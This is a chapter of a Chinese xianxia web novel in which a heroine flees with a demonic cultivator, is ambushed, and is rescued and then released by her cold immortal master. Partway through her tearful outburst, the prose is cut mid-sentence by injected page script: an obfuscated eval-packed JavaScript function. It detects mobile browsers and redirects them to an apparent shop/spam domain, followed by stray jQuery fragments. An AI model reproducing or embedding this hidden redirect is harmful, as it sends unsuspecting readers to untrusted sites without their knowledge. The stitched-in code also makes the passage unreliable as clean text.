42. 第 42 章

作品:《请尊入梦

    逃离尘寂山的路上,居然没有阵法结界的阻拦,他们顺利飞出了那片清圣之地,来到一处荒芜的山岭,雪闻笙停下脚步,扶着身边的岩石,剧烈喘息,还是忍不住后怕。


    她真的......离开了。


    在明决的眼皮子底下。


    她心中没有半分解脱与快意,反而像突然被抽走了主心骨,不知所措。


    一旁的成天灏也不好过,气息有些不稳。他迫不及待地从怀中掏出从静室盗出的包裹,打开之后雪闻笙才看清,是一枚玉牌,不是她想的圣剑“焚梦”。


    不过,那玉牌通体莹白,触手温润,隐约泛着一层光华,显然不是凡物。


    “我倒要看看,小师侄到底藏了什么好东西!”他咧嘴一笑,用一缕神念探向玉牌。


    “嗡!”玉牌带着净化之力,轰然爆发了一阵波澜。


    “噗!”成天灏被震得喷出一大口鲜血,整个人倒飞出去,撞在山壁上。


    他手中的玉牌脱了手,浮在半空中,凝聚成了一道模糊的虚影,光华流转,散发着凛然不可侵犯的神圣气息。


    雪闻笙眯着眼睛看过去,心里一惊,她觉得那虚影的轮廓,与明决有几分相似。


    “明决!!!”成天灏也看出来了,他目眦欲裂,一声暴喝,挣扎着想爬起来。但那股净化之力,与他体内的毒和本身修炼的阴邪功法产生了冲突,让他伤上加伤,一时间无法动弹。


    雪闻笙怔怔地看着虚影,明决早就知道了。


    他不光知道他们会偷盗玉牌,还提前在玉牌上留了这么可怕的后手。


    这根本就是一个陷阱,一个针对成天灏,可能......也是针对她的陷阱。


    玉牌虚影没有攻击雪闻笙,悬浮在那里,静静发散着光芒,无声地宣告着主人某种所有权。


    这该如何是好?


    而让他们万万没想到的是,荒山附近居然有修士,刚才玉牌发出的强大波动,引起了他们的注意。


    很快,几道凌厉的剑光,从远处的夜空疾驰而来,瞬间便将这片区域包围了。


    剑光敛去之后,露出五六名身穿不同样式道袍的修士,他们个个眼光锐利,气息不俗。


    几人看到地上的成天灏,快速对视了一眼,显然是认识成天灏的“老熟人”。


    但是他们没把成天灏放在眼里,都盯着玉牌打转,最后才把目光落在脸色苍白的雪闻笙身上。


    “哈哈哈!真是踏破铁鞋无觅处啊!”为首一名小灰胡子的老道得意大笑道,“成天灏!你这魔头败类,果然在这里!还带着个女娃娃......啧啧,如此绝色之资,定然不是凡人,看来又是一个被你所惑,勾结在一起的妖女了!哎,真是可惜喽!”


    另一个手持金刀的彪形大汉瓮声瓮气道:“成天灏,你已经身受重伤多日了,交出玉牌和这妖女,我们可以留你一个全尸!”


    此情此景,雪闻笙的心沉下去了,她没想到追杀来的这么快,他们才刚离开尘寂山!


    她和重伤的成天灏,正面跟他们交手一点胜算都没有,怎么办?


    她望向成天灏。


    成天灏靠在山壁上,看着围拢过来的修士,嘶声道:“就凭你们这些土鸡瓦狗,也想捡老子的便宜?”


    “死小子,死到临头还嘴硬,行啊,给你点厉害尝尝。”小灰胡子老道冷笑一声,手中拂尘一甩,一道青光便直射成天灏胸口。


    其他修士也很有眼力见,纷纷出手相助。


    剑光,法术,雨点般朝着成天灏和雪闻笙而来,他们打算先除掉成天灏,再抢夺玉牌,然后生擒雪闻笙。


    雪闻笙生平第一次经历这种高阶修士的打斗,成天灏自顾不暇,她下意识地想催动灵力抵抗。


    这才悲哀的发现,成天灏什么也没教会她,别说攻击了,她拼进全力调动起体内那点微薄之力,也只够发出一缕淡淡的保护屏障,薄薄的一层,在这些身经百战的正统修士面前,像纱纸似得。


    “哈哈哈哈哈......”彪形大汉粗狂大笑,“小美人,你是在跟我玩情趣吗?这点小玩意根本不够看啊,我随便动一动手指头一戳,它就破了,哈哈哈哈哈哈哈......”


    屈辱,难堪,不甘,绝望。


    她死死咬着唇瓣,用力维持着那一层可笑的,薄薄的保护屏,她知道都是徒劳,眼前已经看到了下一刻自己被擒获,被凌辱,被当场格杀的悲惨下场。


    彪形大汉扛着大金刀,一步一步走近。


    她想,自己会不会......就这么死了?


    “嗡”一声。


    一股天外之来的庞大威压,毫无征兆地出现,一瞬间,风,停了。云,滞了。


    那些剑光法术,也陷入了无形的泥沼,速度骤减,光芒黯淡。


    在场所有的修士,包括那个嚣张的小灰胡子老道,僵立在原地,满脸惊讶。他们觉得身不由已,头皮发麻,背脊生寒,连灵魂也忍不住颤抖,好像有一只无形的巨手,紧紧扼住了这片天地里的一切!


    怎么回事?


    是谁?


    下一瞬,一道素白的身影,从月华中走出,好像本来就在那里,只是此刻才被众人所察觉到。


    来人静静地出现,衣袂飘飘,纤尘不染。


    是明决!


    他目光清冷,扫过全场。


    目光在悬浮的玉牌虚影上微微一顿,虚影便像得到了指令一样,光华内敛,“叮咚”一声轻响,化作了一枚普通的玉牌,落在雪闻笙的怀里,她顺手接住。


    然后他的目光,落在了那群修士身上。


    他们动不了,睁大了眼珠子,看着眼前这位深不可测的白衣谪仙。


    明决明明没有杀气,也没有明显的情绪波动,却让所有修士如坠冰窟,恐惧战栗!


    “尘寂山外三百里,亦属清静之地。扰此清静者,当罚。”


    话音落下的瞬间,也不见他有什么动作,那几名修士手中的法器,身上的储物袋,竟同时光芒一闪,像经历了千万年的岁月侵蚀,迅速变得黯淡无光,灵性尽失,还出现了一道道裂纹。


    全废了。


    可是他们来不及为珍宝惋惜,因为下一刻就觉得自身的修为,也被一股不可抗拒的力量强行削去了一大截。


    他们个个脸色惨白,气息萎靡,哆嗦着嘴唇说不出一句话!


    他们什么也不想要了,只想活命,都睁大眼睛望着明决,用眼神祈求他,哀求他。


    “滚。”


    谪仙只说了一个字。


    像驱赶一只小蚊虫。


    那些修士们这才如蒙大赦,用尽平生最快的速度,连滚带爬地朝着远方遁去,眨眼间便消失得无影无踪。


    明决转过身,看了一眼靠在石壁的成天灏,什么也没说。


    然后,他的目光终于落在了雪闻笙脸上。


    四目相对。


    雪闻笙手中紧紧攥着玉牌,心里打翻了五味瓶一样。


    看着他方才驱散强敌的绝世风姿,她内心依旧涌动着自己不愿承认的情感,那是一种尘埃仰望星空的卑微与悸动。


    他又来了。


    在她最绝望,最狼狈的时候,如神祇降临,再次出现在她面前。


    他救了她,救了成天灏,惩罚了敌人,拿回了玉牌。


    她有种错觉,其实他是不是一直在意着她呢?


    可他看她的眼神,依旧那般平静,让她心寒。


    他会说什么?


    他会做什么?


    是将她这个“叛徒”抓回牢笼?还是就此彻底了断,任由她自生自灭?


    成天灏剧烈咳嗽了几声,吐出一口带着黑血的唾沫,死死盯着明决:“明决!少在那里假惺惺!要杀要剐,给个痛快!咳咳......还是说,你想亲眼看看,我是怎么被你留下的这鬼东西折磨死的?”


    他满言挑衅,半是激怒明决,半是为了掩饰自己此刻的狼狈。


    “你的生死,自有你的因果。玉牌之事,到此为止。若再打尘寂山的主意,形神俱灭,我绝不手软。”


    他的话很轻,却像天道律令,绝对权威。


    成天灏脸色一白,下意识要开口反驳,但终究没能再说出话来,冷哼一声,偏过头去。


    处理完成天灏,就该处理她了。


    雪闻笙挺直了脊背,想保留最后一点尊严,她迎着他的目光,强迫自己不退缩。


    终于,明决缓缓开口,近乎叹息:“你,可还有话要说?”


    他不质问她背叛,不斥责她愚蠢与成天灏的勾结,他只是问她,可还有话要说。


    这出乎意料的问题,让雪闻笙瞬间红了眼眶,泪水大颗大颗滚落,模糊了眼前清冷如仙的身影。


    她张了张嘴,哽咽道:“我......我有什么好说的?在你看来我做什么都是错。在你眼里,我不过是个麻烦,是个不知好歹,任性妄为的棋子!你救我,不过是出于你那所谓的‘道义’,或者......只是为了维持你尘寂山的清静!你从来......从来就没有真正在乎过我的感受!”


    她心里委屈,几乎是吼出了最后几句话,情绪终于喷发出来,带着哭腔。


    “我在你身边,努力学着懂事,努力想要变得更好,可你呢?你永远都是那副冷冰冰的样子!连一个笑容都吝啬给我!可是你对别人.....


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931729|192244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    .你对那只鸟,对那个妄月真人......你都可以笑!为什么偏偏对我不能!”


    她语无伦次,就这么将心中最隐秘的伤口血淋淋地剖开,暴露在他面前。


    这些话,她藏在心里太久,压抑得太深,此刻一旦开口,便再也收势不住了。


    成天灏默默把脸又转回来,在一旁听的认真,嘴角勾起一抹冷笑,似乎觉得这场面颇为有趣。


    而明决,静静地听着她的控诉,相顾无言。


    直到她情绪激动的剧烈喘息,声音渐渐低了下去,开始小声呜咽时,他才开口。


    他向来无波的眼眸深处,有什么复杂的东西一闪而逝,快得让人无法捕捉,他欲言又止,终道:“道法自然,喜怒由心。笑与非笑,皆循本心,非为外物所动,亦非因人而异。”


    “救你,是见你伤痛苦厄,力所能及。留你,是望你迷途知返,自性清明。”


    他看透了她所有的愤怒与委屈,看到了她灵魂深处的不安与迷茫。


    “然,路在脚下,需自行抉择。强留无益,反生心魔。”


    说到这里,他目光从雪闻笙脸上,移到了她紧握玉牌的手上,最后与她对视。


    平静中带上了一丝罕见的神情,是类似于“放手”的释然:“你既已做出选择,便去吧。”


    去吧。


    去吧。


    去吧。


    简简单单的两个字,在雪闻笙耳边炸响。


    她抬起头,泪眼朦胧,不敢相信自己的耳朵。


    他......他竟然要放她走?在她背叛了他,盗取了他的东西,与他的敌人同行之后,他竟然......就这么轻易地放她离开?


    该怎么去形容雪闻笙此刻的心情呢?


    比她之前所有的怨恨和绝望,更让她难以承受!


    她宁愿他大发雷霆,宁愿他出手惩戒,捉她回去,禁锢她,怎么都好过这样无足轻重的......放手啊。


    “你......”她张了张嘴。明决不想再勉强她了,听清心音也好,关石室禁闭也罢,无用之功。


    明决声音飘渺,像来自天外:“世间之路,并非只有尘寂山一条。你体内的封印,源于你自身血脉与心性之失衡。外力强解,终是镜花水月。唯有寻得内心真正的平静与归属,方是破局之道。”


    他说这话,听起来太像临别前最后的赠言,冷得让她浑身发颤。


    他真的......再也不管她了?


    她不信!


    说完,明决竟真的不再停留,那一抹素白的身影融入了月光中,变得模糊,透明,最终消失在原地。


    仿佛他从来没有出现过。


    但他留下了那枚玉牌。


    雪闻笙站在原地,望着明决消失的方向,泪水肆虐,怎么都止不住,手中玉牌滚落在地也不知道。


    成天灏站起身,走到她身边,捡起玉牌,仔细探查了一番,确认再无陷阱后,脸上露出满意的神色。


    他看着失了魂魄似的雪闻笙,嗤笑道:“早走没影了。怎么?舍不得了?别忘了,不是你不要他,是他不要你了!跟我走吧,我才是你唯一的出路!”


    雪闻笙缓缓转过头,看着眼前满是野心与欲望的脸,又看了看明决消失的方向,那里空无一物。


    一条路,是回归“牢笼”,寻求永远无法得到的认可与温暖。


    另一条路,是踏入未知危险的黑暗,万劫不复。


    明决替她做出了选择。


    他用最平静的方式,将她推向了后者。


    她擦去脸上的泪:“走吧。”


    成天灏点点头,他要的,就是这份决绝,这份与明决,与过去彻底割裂的恨意与绝望。


    唯有如此,这枚蕴含着上古仙族力量的“钥匙”,才能真正为他所用。


    “很好。这才是你应有的姿态。雪闻笙,沉溺于无谓的温情与期盼,只会磨钝你的爪牙。一个人真正的力量,源于认清现实,源于不惜一切。”


    成天灏从怀中取出一枚刻着符文的黑色骨梭,他咬破指尖,逼出一滴蕴含着精纯原神的血液。骨梭乌光大盛,发出嗡鸣,一道不稳定的空间裂隙,出现在他们面前。


    裂隙那头黑黢黢的,散发出极度叫人不安的气息。


    “跟紧我。带你去见识见识新天地,相信我,你会爱上那里的!”成天灏当先一步,迈入裂隙,身影瞬间被黑暗吞噬了。


    雪闻笙最后回头望了一眼明决消失的方向。


    空气中没有丝毫暖意,她深吸一口气,明决残留的淡淡清气,此刻闻起来,竟带着诀别的苦涩。


    她不再犹豫,抬脚踏入了黑暗。